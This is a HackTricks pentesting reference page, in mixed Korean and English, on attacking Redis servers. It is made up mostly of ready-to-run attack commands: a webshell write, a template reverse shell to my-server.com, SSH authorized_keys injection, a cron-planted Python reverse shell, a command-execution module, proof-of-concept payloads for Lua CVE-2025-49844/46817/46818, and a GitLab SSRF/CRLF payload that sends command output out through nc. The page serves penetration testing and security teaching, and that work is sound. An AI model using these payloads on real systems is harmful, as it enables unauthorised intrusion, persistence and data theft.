6379 - Pentesting Redis
Reading time: 14 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
다음 the docs: Redis는 오픈 소스(BSD 라이선스) 기반의 인메모리 데이터 구조 저장소로, 데이터베이스, 캐시 및 메시지 브로커로 사용됩니다).
기본적으로 Redis는 평문 기반 프로토콜을 사용하지만, ssl/tls도 구현할 수 있다는 점을 염두에 두어야 합니다. 자세한 내용은 run Redis with ssl/tls here.
기본 포트: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Automatic Enumeration
redis 인스턴스에서 정보를 얻는 데 도움이 되는 몇 가지 자동화된 도구:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
수동 열거
배너
Redis는 텍스트 기반 프로토콜이라 소켓에 명령을 전송하면 반환 값이 읽을 수 있는 형태로 나온다. 또한 Redis는 ssl/tls로 동작할 수 있다는 점을 기억하라(하지만 이는 매우 드물다).
일반적인 Redis 인스턴스에서는 nc로 접속하거나 redis-cli를 사용할 수 있다:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
시도해볼 수 있는 첫 번째 명령어는 **info**입니다. 정보가 포함된 출력이 반환될 수도 있으며 Redis 인스턴스에 대한 또는 이와 유사한 출력이 다음과 같이 반환될 수 있습니다:
-NOAUTH Authentication required.
In this last case, this means that 유효한 credentials가 필요함을 의미합니다.
Redis 인증
기본적으로 Redis는 credentials 없이 접근할 수 있습니다. 그러나 구성하여 비밀번호만, 또는 username + password를 사용하도록 설정할 수 있습니다.
redis.conf 파일의 requirepass 파라미터에 비밀번호를 설정하거나, 서비스가 재시작될 때까지 일시적으로 연결하여 config set requirepass p@ss$12E45 를 실행할 수 있습니다.
또한 redis.conf 파일의 masteruser 파라미터에 username을 설정할 수 있습니다.
tip
만약 비밀번호만 설정된 경우 사용되는 username은 "default" 입니다.
또한 Redis가 비밀번호만으로 구성되었는지 username+password로 구성되었는지를 외부에서 판별할 방법은 없습니다.
이런 경우에는 Redis와 상호작용하기 위해 유효한 credentials를 찾아야 하므로 brute-force를 시도해볼 수 있습니다.
유효한 credentials를 찾은 경우 연결을 수립한 후 다음 명령으로 세션을 인증해야 합니다:
AUTH <username> <password>
Valid credentials에 대한 응답은: +OK
Authenticated enumeration
Redis 서버가 anonymous connections을 허용하거나 valid credentials을 획득한 경우, 다음 commands를 사용하여 서비스에 대한 enumeration 프로세스를 시작할 수 있습니다:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
다른 Redis 명령 can be found here 및 here.
참고로 인스턴스의 Redis 명령은 이름이 변경되거나 redis.conf 파일에서 제거될 수 있습니다. 예를 들어 다음 줄은 FLUSHDB 명령을 제거합니다:
rename-command FLUSHDB ""
Redis 서비스를 안전하게 구성하는 방법에 대한 자세한 내용은 다음을 참조하세요: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
또한 Redis 명령을 실시간으로 모니터링하려면 명령 **monitor**를 사용하고, 상위 25개의 가장 느린 쿼리는 **slowlog get 25**로 확인할 수 있습니다.
더 많은 Redis 명령에 관한 자세한 정보는 다음을 참조하세요: https://lzone.de/cheat-sheet/Redis
데이터베이스 덤프
Redis 내부에서 데이터베이스는 0부터 시작하는 숫자입니다. 명령어 info의 출력에서 "Keyspace" 섹션 안에서 어떤 데이터베이스가 사용되고 있는지 확인할 수 있습니다:
.png)
또는 다음으로 모든 keyspaces (데이터베이스)를 가져올 수 있습니다:
INFO keyspace
위 예제에서는 database 0 and 1이 사용되고 있습니다. Database 0 contains 4 keys and database 1 contains 1. 기본적으로 Redis는 database 0을 사용합니다. 예를 들어 database 1을 덤프하려면 다음을 수행해야 합니다:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
만약 GET <KEY>를 실행할 때 다음 오류 -WRONGTYPE Operation against a key holding the wrong kind of value가 발생하면, 해당 키가 문자열이나 정수가 아닐 수 있으며 표시하려면 특수한 연산자가 필요합니다.
키의 타입을 확인하려면 TYPE 명령을 사용하세요. 아래는 list와 hash 키의 예입니다.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
npm으로 데이터베이스 덤프 redis-dump 또는 python redis-utils
Redis RCE
Interactive Shell
redis-rogue-server는 Redis(<=5.0.5)에서 자동으로 interactive shell 또는 reverse shell을 획득할 수 있습니다.
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
정보 출처: here. 당신은 웹 사이트 폴더의 경로를 알아야 합니다:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
webshell 접근에 예외가 발생하면, 백업 후 데이터베이스를 비우고 다시 시도할 수 있습니다. 데이터베이스는 복원하는 것을 잊지 마세요.
템플릿 Webshell
이전 섹션과 마찬가지로, template engine에 의해 해석될 일부 html template 파일을 덮어써서 shell을 얻을 수도 있습니다.
For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
warning
참고: 여러 템플릿 엔진이 템플릿을 메모리에 캐시하므로, 덮어써도 새 템플릿이 실행되지 않을 수 있습니다. 이 경우 개발자가 자동 재로딩을 활성화해 둔 것이거나, 서비스에 DoS를 가해(서비스가 자동으로 재시작될 것을 예상하면서)야 할 수 있습니다.
SSH
Example from here
Please be aware config get dir result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of config get dir you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:
- 로컬 PC에서 ssh 공개/개인 키 쌍 생성:
ssh-keygen -t rsa - 공개 키를 파일에 작성:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - 해당 파일을 redis에 임포트:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - 공개 키를 redis 서버의 authorized_keys 파일로 저장:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- 마지막으로 개인 키로 redis 서버에 ssh 접속: ssh -i id_rsa redis@10.85.0.52
This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit
추가로, 시스템 사용자는 config set dir /home/USER로 확인하여 발견할 수 있으며, 확인되면 새로운 authorized_keys를 /home/USER/.ssh/authorized_keys에 쓸 수 있습니다. redis-rce-ssh를 사용해 사용자 이름 워드리스트로 이를 브루트포스하고 authorized_keys를 덮어쓸 수 있습니다.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
마지막 예시는 Ubuntu용입니다. Centos의 경우 위 명령은 다음과 같아야 합니다: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
This method can also be used to earn bitcoin :yam
Redis 모듈 로드
- https://github.com/n0b0dyCN/RedisModules-ExecuteCommand의 지침을 따르면 임의의 명령을 실행하도록 redis module을 컴파일할 수 있습니다.
- 그런 다음 컴파일된 모듈을 업로드할 방법이 필요합니다.
- 런타임에 업로드된 모듈을
MODULE LOAD /path/to/mymodule.so로 로드합니다. - 제대로 로드되었는지 확인하려면 로드된 모듈을 나열합니다:
MODULE LIST - 명령을 실행합니다:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- 원할 때 언제든지 모듈을 언로드하세요:
MODULE UNLOAD mymodule
LUA 샌드박스 우회
Here에서 Redis가 EVAL 명령을 사용해 Lua 코드를 샌드박스 환경에서 실행한다는 것을 볼 수 있습니다. 링크된 글에서는 dofile 함수를 이용해 이를 악용하는 방법을 볼 수 있지만, apparently 이것은 더 이상 가능하지 않습니다. 어쨌든 Lua 샌드박스를 우회할 수 있다면 시스템에서 임의의 명령을 실행할 수 있습니다. 또한 같은 글에서 일부 DoS를 야기할 수 있는 옵션들도 확인할 수 있습니다.
Some CVEs to escape from LUA:
Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
최근 Redis 릴리스에서는 임베디드 Lua 엔진에서 샌드박스 탈출, 메모리 손상 및 크로스-유저 코드 실행을 허용하던 여러 문제를 수정했습니다. 이러한 기법은 다음과 같은 경우에 적용됩니다:
- 공격자가 Redis에 인증할 수 있고 Lua가 활성화되어 있는 경우 (EVAL/EVALSHA 또는 FUNCTION 사용 가능)
- Redis 버전이 8.2.2, 8.0.4, 7.4.6, 7.2.11 또는 6.2.20 이전인 경우
Tip: Lua 샌드박스 트릭에 익숙하지 않다면 일반적인 기법은 다음 페이지를 참고하세요:
패치 수준 컨텍스트:
- Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- Lua 스크립팅이 활성화되어 있고 위 버전들이 적용되어 있지 않을 때 영향받음
CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)
- 아이디어: 파서가 막 삽입된 TString를 참조하고 있는 동안 가비지 컬렉션을 강제합니다. GC가 이를 회수하면 파서는 해제된 포인터(UAF)를 사용하게 되어 충돌/DoS 및 Lua 샌드박스 밖에서의 잠재적 네이티브 코드 실행을 초래합니다.
- 트리거 전략:
- 거대한 문자열로 메모리 압력을 생성하여 GC 활동을 유도
- 큰 소스 청크가 컴파일되는 동안 명시적으로 GC를 실행
- GC가 파싱과 맞물릴 때까지 매우 큰 Lua 스크립트를 루프에서 컴파일
Minimal EVAL harness to reproduce crashes
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
노트:
- GC와 luaY_parser를 정렬하려면 여러 번 시도해야 할 수 있습니다. 크래시는 UAF가 발생했음을 나타냅니다.
- exploitation에서 RCE로 진행하려면 Redis Lua sandbox를 벗어난 memory grooming과 native code pivoting이 필요합니다.
CVE-2025-46817 — unpack의 정수 오버플로우 (lbaselib.c: luaB_unpack)
- 근본 원인: 카운트
n = e - i + 1가 unsigned 캐스트 없이 계산되어 극단적인 인덱스가 래핑되어 Lua가 존재하는 것보다 훨씬 많은 요소를 unpack하려 시도함 → 스택 손상 및 메모리 고갈. - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- 서버가 매우 많은 수의 값을 반환하려 시도하다가 결국 crash 또는 OOM이 발생할 것으로 예상하세요.
CVE-2025-46818 — Cross-user privilege escalation via basic type metatables
- 원인: 엔진 초기화 시, 기본 타입(예: strings, booleans)에 대한 metatables가 read-only로 설정되지 않았습니다. 인증된 사용자는 이를 poison하여 이후 다른 사용자가 호출할 수 있는 methods를 inject할 수 있습니다.
- 예시 (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
- 영향: 피해자의 Redis 권한을 사용해 Lua sandbox 내부에서 교차 사용자 코드 실행. Redis ACL 컨텍스트 내에서 lateral movement/priv-esc에 유용.
마스터-슬레이브 모듈
마스터 Redis의 모든 작업은 자동으로 슬레이브 Redis에 동기화된다. 즉, 취약한 Redis를 우리가 제어하는 마스터 Redis에 연결된 슬레이브 Redis로 간주할 수 있으며, 이를 통해 우리가 제어하는 Redis에 명령을 입력하면 해당 명령이 슬레이브로 전파된다.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF로 Redis와 통신하기
만약 clear text 요청을 to Redis로 보낼 수 있다면, communicate with it 할 수 있습니다. Redis는 요청을 줄 단위로 읽고 이해하지 못하는 줄에는 단순히 오류로 응답합니다:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
따라서 웹사이트에서 SSRF vuln을 발견하고 일부 headers(예: CRLF vuln으로) 또는 POST parameters를 control할 수 있다면, Redis에 임의의 명령을 보낼 수 있습니다.
Example: Gitlab SSRF + CRLF to Shell
In Gitlab11.4.7에서는 SSRF vulnerability와 CRLF가 발견되었습니다. SSRF 취약점은 새 프로젝트를 생성할 때의 import project from URL functionality에 있었고 [0:0:0:0:0:ffff:127.0.0.1] 형태로 임의의 IP(이 경우 127.0.0.1)에 접근할 수 있게 했습니다. 그리고 CRLF vuln은 단순히 URL에 %0D%0A 문자를 추가하는 것으로 악용되었습니다.
따라서 이러한 취약점을 abuse these vulnerabilities to talk to the Redis instance하여 gitlab에서 큐를 manages queues하는 Redis 인스턴스와 통신하고, 그 큐들을 악용해 obtain code execution할 수 있었습니다. The Redis queue abuse payload is:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
그리고 URL encode 요청으로 abusing SSRF 및 CRLF를 이용해 whoami를 실행하고 결과를 nc로 전송하는 것은:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
어떤 이유로 (이 정보의 출처인 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ 의 저자도 마찬가지였으며) exploitation은 git 스킴에서는 작동했지만 http 스킴에서는 작동하지 않았다.
References
- Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 — Lua parser UAF
- PoC: CVE-2025-46817 — unpack integer overflow
- PoC: CVE-2025-46818 — basic-type metatable abuse
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks